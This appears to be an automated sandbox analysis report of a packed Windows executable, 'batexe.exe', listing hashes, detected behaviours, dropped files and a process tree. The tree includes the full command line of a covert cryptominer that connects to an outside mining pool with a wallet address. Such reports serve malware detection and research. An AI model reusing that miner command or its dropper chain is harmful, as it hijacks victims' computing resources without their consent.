Analysis

  • max time kernel
    302s
  • max time network
    308s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    14/02/2024, 16:49

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1372
    • C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3944
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A2A8.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5056
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1996

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe

    Filesize

    14.4MB

    MD5

    bae72a0740b97f1f296f48fe0613c5dc

    SHA1

    48f0bae3b476e42b54e3833e42528f2a400d05d9

    SHA256

    6e1b8a710a5f3362a1e35f53dc2bb115f6734feba14f66cb50cf75992e785c14

    SHA512

    6eb315d3c784d502d632c7b8ae9b9adc39ef9a7a7182a49144392674fec33ecebacb814af47f6ebf4479d85acdb725cc49125d08c8ee90dbc58e645d86251e15

  • C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe

    Filesize

    1.6MB

    MD5

    4b3e3a3f84660472fb9714cd8feaba1b

    SHA1

    8561afb6ae0a1ab8a4d8364928811b66fcaf9da9

    SHA256

    006513b9e4310066d4cb66a1ea11b6619c10e428f5a1ccc39eab92e1d487f442

    SHA512

    a4ccf4de38da8d27dd065ef09b81a4bca708188c6102211faaa186ddd8f68b87381611da54cb6098758733c799e2a3450cb5cae66b58c29a4264d93f93a1edc2

  • C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe

    Filesize

    2.8MB

    MD5

    271f1f58742aff0ebf71fc0c3ab4a9cf

    SHA1

    63ef4434110ac1ca03865b31406c2921e58bed73

    SHA256

    9f712a59b09b14ca76baae87d480dac0b1c38e4c7eea45140c28997774690279

    SHA512

    18ade3b96c697954d59b8697eadae2cbdd856ebe9885f21d2966041e5dbbe9d9e150954105154f92bd78d1c3100435791b20a105d708b62986cc8910c362dccc

  • C:\Users\Admin\AppData\Local\Temp\A2A8.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    3.3MB

    MD5

    cf31eeb9754390d2d235192b936aec14

    SHA1

    f9107a249e57a65a36ea97d23ab303b5f47a4ba5

    SHA256

    85ed620f3e21288ff33a6cf5b6528094745e60d454e258c7d825493774e0aef0

    SHA512

    0f7adb141a3b1f7ea34e3bfeabb818aa9e2503939ecdb4efd121d2163d756ea4f65185b00f7874fbe1e595aee6bda043e5db0c643f8d19e482f540234d2d2b0d

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    4.4MB

    MD5

    1ee9309060d0fd3c9f55cef7c5d7b808

    SHA1

    eb9e7a8b270496d9f50d2ceeaf05777652e7dd53

    SHA256

    d11bd4290fa1130a195598edf127257ead933c50e8b5d7db9c4d6ca7bf3b9ead

    SHA512

    2b22d25cec37dfb891b1da66daee49f6c6e1548e269c9669d36980112c0c364eff6f41c6653b9d212895328d644c159c1bcbd0311c0410b863efd19d5530f699

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    9.7MB

    MD5

    3d7610bef84e64b1b13aa66aee54f11b

    SHA1

    6c8e3eb7c78eff82572ad764cdb2b592fe465758

    SHA256

    9bc8f686f894c94d919b227307fdaf74f1925cd06ff5dc59bb293cd036a78f39

    SHA512

    91ce4f7978dad57966ee578a4b6a8dac4dcd9e584107cbd25a5e82f965a61102a48da9a0b09d1b7adbddbb9a2d60390ce6b38fd7b89cc26107342a193a3dd89b

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1372-7-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/1996-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1996-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1996-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1996-45-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1996-46-0x0000000071160000-0x00000000711F8000-memory.dmp

    Filesize

    608KB

  • memory/1996-47-0x0000000000EA0000-0x0000000002755000-memory.dmp

    Filesize

    24.7MB

  • memory/1996-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1996-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1996-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1996-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1996-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1996-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1996-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3944-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3944-9-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB